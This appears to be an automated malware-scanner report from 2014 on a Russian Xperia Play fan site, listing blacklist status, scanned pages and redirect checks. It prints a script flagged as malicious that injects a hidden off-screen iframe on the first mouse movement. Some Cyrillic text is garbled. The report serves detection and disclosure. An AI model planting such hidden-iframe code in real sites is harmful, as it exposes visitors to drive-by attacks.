Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=sexperiaplay.ru
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://sexperiaplay.ru/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://sexperiaplay.ru/ | HTTP/1.1 302 Found Connection: close Date: Sat, 09 Aug 2014 09:19:16 GMT Location: /index_1.jpg Server: nginx/1.1.19 Vary: Accept-Encoding Content-Length: 2030 Content-Type: text/html X-Powered-By: PHP/5.3.10-1ubuntu3.13 | clean |
http://sexperiaplay.ru/index_1.jpg | 200 OK Content-Length: 27862 Content-Type: image/jpeg | suspicious |
Page code contains blacklisted domain: xperia-play.16mb.com <!doctype html>
<html> <head> <title>Xperia Play-игÑÑ Ð¸ пÑÐ¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð·Ð½Ð°Ð¼ÐµÐ½Ð¸Ñого ÑмаÑÑÑона!</title> <meta name="verify-admitad" content="a90848d82f" /> <meta name="description" content="ÐÑÑ Ð´Ð»Ñ Xperia Play и Ð´Ð»Ñ android!"> <meta name="keywords" content="xperia play,sony,ericsson,android,phone,playstation,игÑÑ,длÑ,games,анд ...[4475 bytes skipped]... | ||
http://sexperiaplay.ru/sys/js/jquery-1.5.2.min.js | 200 OK Content-Length: 85925 Content-Type: application/x-javascript | clean |
http://sexperiaplay.ru/sys/js/send_message.js | 200 OK Content-Length: 19033 Content-Type: application/x-javascript | clean |
http://counter.rambler.ru/top100.jcn?2648259 | 200 OK Content-Length: 6853 Content-Type: application/x-javascript | clean |
http://userapi.com/js/api/openapi.js?49 | 200 OK Content-Length: 64013 Content-Type: application/x-javascript | clean |
http://changeip.changeip.name/rsize.js | 200 OK Content-Length: 405 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) res='ÐÑибка MySQL'; var astatf = 0; document.write("<head></head><b><div id='staticaccoin'></div></b>"); document.onmousemove=moveonlinetest; function moveonlinetest() { if (astatf == 0) { astatf++; text = "<iframe src='"+res+"' width='10' height='16' style='position: absolute; z-index: 1; left: -1000px; top: -1000px;'></iframe>"; document.getElementById("staticaccoin").innerHTML = text }} Antivirus reports:
| ||
http://sexperiaplay.ru/index.php | 200 OK Content-Length: 30242 Content-Type: text/html | suspicious |
Suspicious code found <a rel="nofollow" href="http://www.youtube.com/user/sexperiaplay"><img src="http://xperia-play.16mb.com/yout.png" alt="" /></a> | ||
http://ismska.ru/pauk/jquery-1.9.1.min.js | 200 OK Content-Length: 92629 Content-Type: application/x-javascript | clean |
http://ismska.ru/pauk/main.js | 200 OK Content-Length: 352 Content-Type: application/x-javascript | clean |
http://ads.actionteaser.ru/news.js | 200 OK Content-Length: 19842 Content-Type: application/x-javascript | clean |
http://sexperiaplay.ru/rss.xml | 200 OK Content-Length: 2114 Content-Type: text/html | clean |
http://sexperiaplay.ru/test404page.js | 404 Not Found Content-Length: 2050 Content-Type: text/html | clean |
http://sexperiaplay.ru/users/add_form/ | 200 OK Content-Length: 10965 Content-Type: text/html | suspicious |
Suspicious code found <a rel="nofollow" href="http://www.youtube.com/user/sexperiaplay"><img src="http://xperia-play.16mb.com/yout.png" alt="" /></a> | ||
http://sexperiaplay.ru/users/login_form/ | 200 OK Content-Length: 11613 Content-Type: text/html | suspicious |
Suspicious code found <a rel="nofollow" href="http://www.youtube.com/user/sexperiaplay"><img src="http://xperia-play.16mb.com/yout.png" alt="" /></a> | ||
http://sexperiaplay.ru/users/ | 200 OK Content-Length: 24332 Content-Type: text/html | suspicious |
Suspicious code found <a rel="nofollow" href="http://www.youtube.com/user/sexperiaplay"><img src="http://xperia-play.16mb.com/yout.png" alt="" /></a> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: sexperiaplay.ru
Result:
HTTP/1.1 302 Found
Connection: close
Date: Sat, 09 Aug 2014 09:19:16 GMT
Location: /index_1.jpg
Server: nginx/1.1.19
Vary: Accept-Encoding
Content-Length: 2030
Content-Type: text/html
X-Powered-By: PHP/5.3.10-1ubuntu3.13
...2030 bytes of data.
GET / HTTP/1.1
Host: sexperiaplay.ru
Result:
HTTP/1.1 302 Found
Connection: close
Date: Sat, 09 Aug 2014 09:19:16 GMT
Location: /index_1.jpg
Server: nginx/1.1.19
Vary: Accept-Encoding
Content-Length: 2030
Content-Type: text/html
X-Powered-By: PHP/5.3.10-1ubuntu3.13
...2030 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: sexperiaplay.ru
Referer: http://www.google.com/search?q=sexperiaplay.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: sexperiaplay.ru
Referer: http://www.google.com/search?q=sexperiaplay.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.